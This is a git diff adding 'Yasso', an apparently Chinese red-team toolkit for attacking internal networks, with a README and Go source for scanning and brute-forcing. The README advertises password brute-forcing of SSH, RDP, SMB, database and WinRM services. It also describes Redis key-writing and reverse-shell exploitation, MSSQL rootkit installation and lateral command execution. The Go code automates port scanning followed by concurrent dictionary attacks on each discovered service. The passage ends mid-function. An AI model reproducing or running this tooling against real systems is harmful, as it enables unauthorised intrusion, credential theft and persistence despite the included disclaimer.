diff --git a/README.md b/README.md new file mode 100644 index 0000000..b5c85af --- /dev/null +++ b/README.md @@ -0,0 +1,415 @@ +

👾 Yasso - 亚索 👾

+ +![go](https://img.shields.io/badge/Go-1.16.4-blue) + +## 介绍 😈 +Yasso 将作为一款内网辅助渗透工具集发布,它集合了许多实用功能,来帮助`Red team`成员在内网极端环境下的工具使用以及`Blue team`成员的内网自检,并且程序加入了代理功能以及`ants`的扫描并发,在实现功能的同时追求准确和速度 +使用格式为 + +``` +Yasso [模块] [参数1] [参数2] [参数...] +``` + +模块里面的 `Flag` 代表当前命令的参数,`Global Flags` 代表全局参数(所有命令都可以用) + +## 程序功能模块 👻 + +目前已有用功能模块 : + +all模块: 调用全部模块的完全扫描方式,速度更快,能力更强,ants与并发的完美结合 + +``` +Usage: + Yasso all [flags] + +Flags: + -h, --help help for all + -H, --host hosts Set hosts(The format is similar to Nmap) + --noping No use ping to scanner alive host (default true) + -P, --ports ports Set ports(The format is similar to Nmap) + --proxy string Set socks5 proxy + --runtime int Set scanner ants pool thread (default 100) + --time duration Set timeout (default 1s) +``` + +ping模块: 普通用户权限调用系统ping,root权限可以选择使用icmp数据包 + +``` +Use ping or icmp to scanner alive host + +Usage: + Yasso ping [flags] + +Flags: + -h, --help help for ping + -H, --host hosts Set hosts(The format is similar to Nmap) + -i, --icmp Icmp packets are sent to check whether the host is alive(need root) +``` + + +crack模块: 强大的爆破模块和利用工具集 - 子工具集 +``` +Available Commands: + ftp ftp burst module (support proxy) + grdp RDP burst module (support proxy) + log4j Open a socket listener to test log4J vulnerabilities offline + mongo MongoDB burst module (support proxy) + mssql SQL Server burst module and extend tools (not support proxy) + mysql MYSQL burst module and extend tools (support proxy) + postgres PostgreSQL burst module (not support proxy) + redis Redis burst and Redis extend tools (support proxy) + smb Smb burst module (not support proxy) + ssh SSH burst and SSH extend tools (support proxy) + winrm winrm burst and extend tools (support proxy) + +Flags: + --crack make sure to use crack + -h, --help help for crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +程序主要分为多个子命令功能,每个功能都详细标注了用法,这里详细介绍子功能 +
+ftp ftp服务爆破模块 - 支持socks5代理 + +``` +Flags: + -h, --help help for ftp + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+grdp rdp服务爆破模块 - 支持socks5代理 + +``` +Flags: + --domain string set host domain + -h, --help help for grdp + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+log4j log4j2 服务器 - 用于内网不出网手动的log4j漏洞检测 + +``` +Flags: + -b, --bind string socket listen address (default "0.0.0.0:4568") + -h, --help help for log4j + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mongo mongodb服务爆破模块 - 支持socks5代理 + +``` +Flags: + -h, --help help for mongo + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mssql sql server 服务爆破模块和提权辅助模块 - 不支持socks5代理 + +``` +Flags: + --cld string Execute WarSQLKit Command (eg.) --cld "whoami" + -c, --cmd string Execute System command + -h, --help help for mssql + --hostname string Remote Connect mssql address(brute param need false) + --inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] + --kithelp int print SQLKit Use help + --method int Execute System command method [1,xpshell] [2,oleshell] (default 1) + --pass string Login ssh password + -s, --sql string Execute sql command + --unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)] + --upload stringArray Use ole upload file (.eg) source,dest + --user string Login ssh username (default "sa") + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+mysq mysql服务爆破模块和数据库查询 - 支持socks5代理 + +``` +Flags: + -C, --cmd string mysql sql command + -h, --help help for mysql + --hostname string Remote Connect a Mysql (brute param need false) + --pass string Login ssh password + --shell create sql shell to exec sql command + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+postgres PostgreSQL服务爆破模块 - 不支持socks5代理 + +``` +Flags: + -h, --help help for postgres + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+redis redis服务爆破模块,未授权检测,一键利用(写公钥,反弹shell) - 支持socks5代理 + +``` +Flags: + -h, --help help for redis + --hostname string Redis will connect this address + --pass string set login pass + --rebound string Rebound shell address (eg.) 192.168.1.1:4444 + --rekey string Write public key to Redis (eg.) id_rsa.pub + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+smb smb服务爆破模块 - 不支持socks5代理 + +``` +Flags: + -h, --help help for smb + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+ssh ssh服务爆破模块,完全交互shell连接 - 支持socks5代理 + +``` +Flags: + -h, --help help for ssh + --hostname string Open an interactive SSH at that address(brute param need false) + --key string ssh public key path + --pass string Login ssh password + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ +
+winrm winrm服务爆破模块,命令执行横向 - 支持socks5代理 + +``` +Flags: + -c, --cmd string Execute system command + -h, --help help for winrm + --hostname string Open an interactive SSH at that address(brute param need false) + --pass string Login ssh password + --shell Get a cmd shell with WinRM + --user string Login ssh username + +Global Flags: + --crack make sure to use crack + -H, --hosts string to crack hosts address (crack Must) + --pd string pass dic path (.eg) pass.txt + --port int to crack hosts port (if not set use default) + --proxy string set socks5 proxy address + --runtime int set crack thread number (default 100) + --timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s) + --ud string user dic path (.eg) user.txt +``` +
+ + +ps 模块: 采用ants协程的端口扫描,速度更快,更准确 - 不支持socks5代理 + +``` +Usage: + Yasso ps [flags] + +Flags: + -h, --help help for ps + -H, --hosts hosts Set hosts(The format is similar to Nmap) + -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 + -r, --runtime int Set scanner ants pool thread (default 100) + -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms) +``` + +vulscan 模块: 主机漏洞扫描-支持ms17010,smbghost漏洞 - 支持socks5代理 + +``` +Usage: + Yasso vulscan [flags] + +Flags: + --all scan all vuln contains ms17010,smbghost + --gs scan smbghost + -h, --help help for vulscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --ms scan ms17010 + --proxy string Set socks5 proxy +``` + +webscan模块: 完全的dismap移植,拥有更将强大的指纹识别 - 支持socks5代理 + +``` +Usage: + Yasso webscan [flags] + +Flags: + -h, --help help for webscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --ping Use ping to scan alive host + -p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389 + --proxy string Set socks5 proxy and use it + -r, --runtime int Set scanner ants pool thread (default 508) + -t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s) +``` + + +winscan模块: windows主机的netbios识别,oxid网卡发现,smb主机指纹 - 支持socks5代理 + +``` +netbios、smb、oxid scan + +Usage: + Yasso winscan [flags] + +Flags: + --all Set all flag and use oxid,netbios,smb scan (default true) + -h, --help help for winscan + -H, --hosts hosts Set hosts(The format is similar to Nmap) + --netbios Set netbios flag and use netbios scan + --oxid Set oxid flag and use oxid scan + --proxy string Set socks5 proxy and use it + --smb Set smb flag and use smb scan + --time duration Set net conn timeout (default 1s) +``` + +## 使用例子👿 + + +## 工具优势🤡 + +- 命令简单方便,模块功能调用简洁明了,方便拓展和添加各种新功能 +- 集合了大量的常用功能,使得Yasso并不像常规的扫描器,而是作为工具集 +- 强大的SQL渗透辅助功能,提供了常见的redis,mysql,mssql等数据库的一键提权和数据库操作 +- 强大的并发爆破,使得大字典能获取更快的速度 +- rdp和winrm的强势加入,使得内网横向更加迅速和方便快捷 + +## 免责声明🧐 + +本工具仅面向**合法授权**的企业安全建设行为,如您需要测试本工具的可用性,请自行搭建靶机环境。 + +在使用本工具进行检测时,您应确保该行为符合当地的法律法规,并且已经取得了足够的授权。**请勿对非授权目标进行扫描,这一点十分重要** + +如您在使用本工具的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。 + +在安装并使用本工具前,请您**务必审慎阅读、充分理解各条款内容**,限制、免责条款或者其他涉及您重大权益的条款可能会以加粗、加下划线等形式提示您重点注意。 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 + +## 工具编写参考链接👀 +``` +https://github.com/shadow1ng/fscan +https://github.com/k8gege/LadonGo +https://github.com/zyylhn/zscan +https://github.com/uknowsec/SharpSQLTools +https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit +https://github.com/masterzen/winrm +https://github.com/tomatome/grdp +https://github.com/panjf2000/ants +``` + diff --git a/cmd/all.go b/cmd/all.go new file mode 100644 index 0000000..71e26d1 --- /dev/null +++ b/cmd/all.go @@ -0,0 +1,132 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "sync" + "time" +) + +/* + 全体扫描模块 + 将逐步执行每个任务 +*/ + +func printHeader(){ + +} + + + +var allCmd = &cobra.Command{ + Use: "all", + Short: "Use all scanner module (.attention)\nSome service not support proxy,You might lose it [*]", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + + allRun(Hosts,Ports,LogBool,Runtime,PingBool) + return + }, +} + +func init(){ + allCmd.Flags().StringVarP(&Hosts,"host","H","","Set `hosts`(The format is similar to Nmap)") + allCmd.Flags().StringVarP(&Ports,"ports","P","","Set `ports`(The format is similar to Nmap)") + allCmd.Flags().BoolVar(&PingBool,"noping",true,"No use ping to scanner alive host") + allCmd.Flags().IntVar(&Runtime,"runtime",100,"Set scanner ants pool thread") + allCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy") + allCmd.Flags().DurationVar(&TimeDuration,"time",1 * time.Second,"Set timeout ") + rootCmd.AddCommand(allCmd) +} + +func allRun(hostString string,portString string,log bool,runtime int,noping bool){ + // 先对程序进行ping扫描 + // 解析hosts + var ( + ips []string + ports []int + webports []int + alive []string + wg sync.WaitGroup + ) + if hostString != "" { + ips,_ = ResolveIPS(hostString) // 解析ip并获取ip列表 + } + if Ports != "" { + ports ,_ = ResolvePORTS(portString) + webports,_ = ResolvePORTS(config.DisMapPorts) + }else{ + ports ,_ = ResolvePORTS(DefaultPorts) + webports,_ = ResolvePORTS(config.DisMapPorts) + } + + if noping == true { + // 不执行ping操作 + alive = ips + }else{ + // 执行 ping 操作 + fmt.Println("----- [Yasso] Start do ping scan -----") + alive = execute(ips) + } + // 做漏洞扫描 + if len(alive) > 0 { + fmt.Println("----- [Yasso] Start do vuln scan -----") + VulScan(alive,false,true,false) // 做全扫描 + fmt.Println("----- [Yasso] Start do port scan -----") + PortResults := PortScan(alive,ports) + // 获取我们的端口扫描结果,去遍历 + if len(PortResults) != 0 { + fmt.Println("----- [Yasso] Start do crack service -----") + for _,v := range PortResults { + // 这里做漏洞扫描 + wg.Add(1) + go func(v PortResult) { + defer wg.Done() + for _,p := range v.Port { + switch p { + case 21: + users,pass := ReadTextToDic("ftp",UserDic,PassDic) + burpTask(v.IP,"ftp",users,pass,p,100,1*time.Second,"",false) + case 22: + users,pass := ReadTextToDic("ssh",UserDic,PassDic) + burpTask(v.IP,"ssh",users,pass,p,100,1*time.Second,"",false) + case 3306: + users,pass := ReadTextToDic("mysql",UserDic,PassDic) + burpTask(v.IP,"mysql",users,pass,p,100,1*time.Second,"",false) + case 6379: + _,_,_ = RedisUnAuthConn(config.HostIn{Host: v.IP,Port: p,TimeOut:1 * time.Second},"test","test") + users,pass := ReadTextToDic("redis",UserDic,PassDic) + burpTask(v.IP,"redis",users,pass,p,100,5*time.Second,"",false) + case 1433: + users,pass := ReadTextToDic("mssql",UserDic,PassDic) + burpTask(v.IP,"mssql",users,pass,p,100,1*time.Second,"",false) + case 5432: + users,pass := ReadTextToDic("postgres",UserDic,PassDic) + burpTask(v.IP,"postgres",users,pass,p,100,1*time.Second,"",false) + case 27017: + _,_ = MongoUnAuth(config.HostIn{Host: v.IP,Port: p,TimeOut: 1*time.Second},"test","test") + users,pass := ReadTextToDic("mongodb",UserDic,PassDic) + burpTask(v.IP,"mongodb",users,pass,p,100,1*time.Second,"",false) + case 445: + users,pass := ReadTextToDic("smb",UserDic,PassDic) + burpTask(v.IP,"smb",users,pass,p,100,1*time.Second,"",false) + case 5985: + users,pass := ReadTextToDic("rdp",UserDic,PassDic) // winrm与本地rdp认证相同 + burpTask(v.IP,"winrm",users,pass,p,100,1*time.Second,"",false) + } + } + }(v) + } + wg.Wait() + } + // 做网卡扫描 + fmt.Println("----- [Yasso] Start do Windows service scan -----") + winscan(alive,true) + fmt.Println("----- [Yasso] Start do web service scan -----") + DisMapScan(alive,webports) + } +} \ No newline at end of file diff --git a/cmd/brute.go b/cmd/brute.go new file mode 100644 index 0000000..c3511a2 --- /dev/null +++ b/cmd/brute.go @@ -0,0 +1,237 @@ +package cmd + +import ( + "Yasso/config" + "bufio" + "fmt" + "github.com/panjf2000/ants/v2" + "github.com/spf13/cobra" + "io" + "log" + "math" + "os" + "reflect" + "strings" + "sync" + "time" +) + +// 爆破模块 + +const ( + Clearln = "\r\x1b[2K" +) + +var BruteCmd = &cobra.Command{ + Use: "crack", + Short: "crack module and extend tool", + Run: func(cmd *cobra.Command, args []string) { + cmd.DisableFlagsInUseLine = true + _ = cmd.Help() + }, +} + +func init(){ + // 添加全局变量 + BruteCmd.PersistentFlags().StringVarP(&Hosts,"hosts","H","","to crack hosts address (crack Must)") + BruteCmd.PersistentFlags().IntVar(&BrutePort,"port",0,"to crack hosts port (if not set use default)") + BruteCmd.PersistentFlags().IntVar(&Runtime,"runtime",100,"set crack thread number") + BruteCmd.PersistentFlags().BoolVarP(&BruteFlag,"crack","",false,"make sure to use crack") + BruteCmd.PersistentFlags().DurationVar(&TimeDuration,"timeout",1 * time.Second,"crack module timeout(.eg) 1s (ns,ms,s,m,h)") + BruteCmd.PersistentFlags().StringVar(&PassDic,"pd","","pass dic path (.eg) pass.txt") + BruteCmd.PersistentFlags().StringVar(&UserDic,"ud","","user dic path (.eg) user.txt") + BruteCmd.PersistentFlags().StringVar(&ProxyHost,"proxy","","set socks5 proxy address") + BruteCmd.AddCommand(SshCmd) + BruteCmd.AddCommand(WinRMCmd) + BruteCmd.AddCommand(SmbCmd) + BruteCmd.AddCommand(Log4jCmd) + BruteCmd.AddCommand(RedisCmd) + BruteCmd.AddCommand(RdpCmd) + BruteCmd.AddCommand(MysqlCmd) + BruteCmd.AddCommand(MssqlCmd) + BruteCmd.AddCommand(FtpCmd) + BruteCmd.AddCommand(PostgreCmd) + BruteCmd.AddCommand(MongoCmd) + rootCmd.AddCommand(BruteCmd) +} + +var BurpModule = map[string]interface{}{ + "ssh":SshConnByUser, + "mysql":MySQLConn, + "mssql":MssqlConn, + "redis":RedisAuthConn, + "unredis":RedisUnAuthConn, // redis 未授权 + "postgres":PostgreConn, + "smb":SmbConn, + "ftp":FtpConn, + "rdp":RdpConn, + "winrm":WinRMAuth, + "mongodb":MongoAuth, + "unmongodb":MongoUnAuth, // mongodb 未授权 +} + + +func BurpCall(EncryptMap map[string]interface{},name string,params ...interface{}) []reflect.Value { + f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值 + if len(params) != f.Type().NumIn() { // 如果参数的值不等于函数所需要的值 + log.Println(fmt.Sprintf("[ERROR] Burp Call Func key name %s is failed",name)) + os.Exit(1) + } + args := make([]reflect.Value,len(params)) + for k,param := range params { + if param == "" || param == 0 { + continue + } + //Println()(param) + args[k] = reflect.ValueOf(param) + } + //Println()(args) + return f.Call(args) // 调用函数并返回结果 +} + +func SwitchBurp(service string,users []string,pass []string,hosts []string,port int,thread int,timeout time.Duration,Domain string){ + // 传入的参数均为3个 + // 调用方式 + var tunnel = make(chan string,20) + var wg sync.WaitGroup + go func() { + for _,ip := range hosts{ + tunnel <- ip + } + }() + for i:=0;i 0 { + for _,v := range result { + switch v.Kind() { + case reflect.Bool: + if v.Bool() == true { + if domain != ""{ + domain = domain+"\\" + } + Println(fmt.Sprintf(Clearln + `[+] %s brute %s success [%v%s:%s]`,host,service,domain,user,pass)) + } + } + } + } +} + + +func Readiness(file *os.File) []string { + var readiness []string /*定义一个空切片用于存储遍历后的数据*/ + buf := bufio.NewReader(file) /*建立一个缓冲区,将文本内容写入缓冲区*/ + for { + data, errR := buf.ReadBytes('\n') /*读取到\n截至*/ + if errR != nil { + if errR == io.EOF{ + break + } + return readiness + } + str := strings.TrimSpace(string(data)) + readiness = append(readiness,str) /*将去除换行符的字符串写入切片*/ + } + return readiness +} + + +func ReadTextToDic(service,user,pass string) ([]string,[]string){ + var ( + userdic = config.Userdict[service] + passdic = config.Passwords + ) + if user != "" { + userive, err := os.Open(user) + if err != nil { + Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your user dic path",UserDic)) + return []string{},[]string{} + } + userdic = Readiness(userive) + } + if pass != "" { + passive, err := os.Open(pass) + if err != nil { + Println(fmt.Sprintf(Clearln + "[ERROR] Open %s is failed,please check your pass dic path",PassDic)) + return []string{},[]string{} + } + passdic = Readiness(passive) + } + return userdic,passdic +} \ No newline at end of file diff --git a/cmd/dismap.go b/cmd/dismap.go new file mode 100644 index 0000000..d8800c1 --- /dev/null +++ b/cmd/dismap.go @@ -0,0 +1,676 @@ +package cmd + +import ( + "Yasso/config" + "fmt" + "github.com/spf13/cobra" + "math" + "regexp" + "runtime" + "strconv" + "sync" + "time" +) + +func init(){ + rootCmd.AddCommand(DisMapCmd) + DisMapCmd.Flags().DurationVarP(&TimeDuration,"time","t",1 * time.Second,"Set timeout (eg.) -t 50ms(ns,ms,s,m,h)") + DisMapCmd.Flags().StringVarP(&Hosts,"hosts","H","","Set `hosts`(The format is similar to Nmap)") + DisMapCmd.Flags().StringVarP(&Ports,"ports","p","","Set `ports`(The format is similar to Nmap)(eg.) 1-2000,3389") + DisMapCmd.Flags().IntVarP(&Runtime,"runtime","r",508,"Set scanner ants pool thread") + DisMapCmd.Flags().BoolVar(&PingBool,"ping",false,"Use ping to scan alive host") + DisMapCmd.Flags().StringVar(&ProxyHost,"proxy","","Set socks5 proxy and use it ") +} + +var DisMapCmd = &cobra.Command{ + Use: "webscan", + Short: "Use dismap module discover Web fingerprints (support proxy)", + Run: func(cmd *cobra.Command, args []string) { + if Hosts == "" { + _ = cmd.Help() + return + } + var ports []int + hosts ,_ := ResolveIPS(Hosts) + var runhosts []string + if PingBool == true { + runhosts = execute(hosts) + }else{ + runhosts = hosts + } + // 解析获取ip地址 + + if Ports != "" { + ports, _ = ResolvePORTS(Ports) + }else{ + ports ,_ = ResolvePORTS(config.DisMapPorts) + } + Println(fmt.Sprintf("[Yasso] Find Host %v,Need scan %v",len(runhosts),len(runhosts) * len(ports))) + if len(hosts) <= 0 || len(ports) <= 0 { + // resolve failed + return + } + DisMapScan(runhosts,ports) + Println("[Yasso] scan Complete !") + }, +} + + + + +func DisMapScan(host []string,ports []int){ + var wg sync.WaitGroup + for _,ip := range host{ + wg.Add(1) + EachDisMap(ip,ports,&wg) + } + wg.Wait() +} + + +func EachDisMap(host string,ports[]int,w *sync.WaitGroup){ + defer w.Done() + var wg sync.WaitGroup + // 计算一个协程需要扫描多少端口 + var thread int + // 如果端口数小于协程数量,thread为端口数量 + if len(ports) <= Runtime { + thread = len(ports) + }else{ + // 计算端口数量 + thread = Runtime // 协程数量 + } + num := int(math.Ceil(float64(len(ports)) / float64(thread))) // 每个协程的端口数量 + + // 分割端口 + all := map[int][]int{} + for i:=1;i <= thread;i++{ + for j:=0;j < num ; j++{ + tmp := (i-1)*num + j + if tmp < len(ports) { + all[i] = append(all[i],ports[tmp]) + } + } + } + //Println(all) + + for i:= 1 ; i <= thread ; i++{ + wg.Add(1) + tmp := all[i] + go func() { + defer wg.Done() + // 1,2 2,3 + //Println(i,thread) + for _,port := range tmp { + // 遍历每一个端口列表 + DisMapConn(host,port) + } + + }() + } + wg.Wait() +} + + + +func DisMapConn(host string,port int) bool { + + url := ParseUrl(host, strconv.Itoa(port)) + for _,r := range Identify (url,TimeDuration){ + if r.RespCode != ""{ + Println(fmt.Sprintf("[+] %v %v %v %v",r.RespCode,r.Url,r.Result,r.Title)) + } + } + return true +} + + +type IdentifyResult struct { + Type string + RespCode string + Result string + ResultNc string + Url string + Title string +} + +func Identify(url string, timeout time.Duration) []IdentifyResult { + var DefaultFavicon string + var CustomFavicon string + var DefaultTarget string + var CustomTarget string + var Favicon string + var RequestRule string + var RespTitle string + var RespBody string + var RespHeader string + var RespCode string + var DefaultRespTitle string + var DefaultRespBody string + var DefaultRespHeader string + var DefaultRespCode string + var CustomRespTitle string + var CustomRespBody string + var CustomRespHeader string + var CustomRespCode string + for _, resp := range DefaultRequests(url, timeout) { // Default Request + DefaultRespBody = resp.RespBody + DefaultRespHeader = resp.RespHeader + DefaultRespCode = resp.RespStatusCode + DefaultRespTitle = resp.RespTitle + DefaultTarget = resp.Url + DefaultFavicon = resp.FaviconMd5 + } + // start identify + var identifyData []string + var successType string + for _, rule := range config.RuleData { + if rule.Http.ReqMethod != "" { // Custom Request Result + for _, resp := range CustomRequests(url, timeout, rule.Http.ReqMethod, rule.Http.ReqPath, rule.Http.ReqHeader, rule.Http.ReqBody) { + CustomRespBody = resp.RespBody + CustomRespHeader = resp.RespHeader + CustomRespCode = resp.RespStatusCode + CustomRespTitle = resp.RespTitle + CustomTarget = resp.Url + CustomFavicon = resp.FaviconMd5 + } + url = CustomTarget + Favicon = CustomFavicon + RespBody = CustomRespBody + RespHeader = CustomRespHeader + RespCode = CustomRespCode + RespTitle = CustomRespTitle + // If the http request fails, then RespBody and RespHeader are both null + // At this time, it is considered that the url does not exist + if RespBody == RespHeader { + continue + } + if rule.Mode == "" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 2 { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + } + } + if rule.Mode == "and|and" { + index := 0 + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + index = index + 1 + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + index = index + 1 + } + } + if index == 3 { + identifyData = append(identifyData, rule.Name) + RequestRule = "CustomRequest" + } + } + if rule.Mode == "or|or" { + if len(regexp.MustCompile("header").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("ico").FindAllStringIndex(rule.Type, -1)) == 1 { + if checkFavicon(Favicon, rule.Rule.InIcoMd5) == true { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + } + if rule.Mode == "and|or" { + grep := regexp.MustCompile("(.*)\\|(.*)\\|(.*)") + all_type := grep.FindStringSubmatch(rule.Type) + // + //Println(all_type) + if len(regexp.MustCompile("header").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if len(regexp.MustCompile("body").FindAllStringIndex(all_type[1], -1)) == 1 { + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkHeader(url, RespHeader, rule.Rule.InHeader, rule.Name, RespTitle, RespCode) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + if checkBody(url, RespBody, rule.Rule.InBody, rule.Name, RespTitle, RespCode) == checkFavicon(Favicon, rule.Rule.InIcoMd5) { + identifyData = append(identifyData, rule.Name) + successType = rule.Type + continue + } + } + if 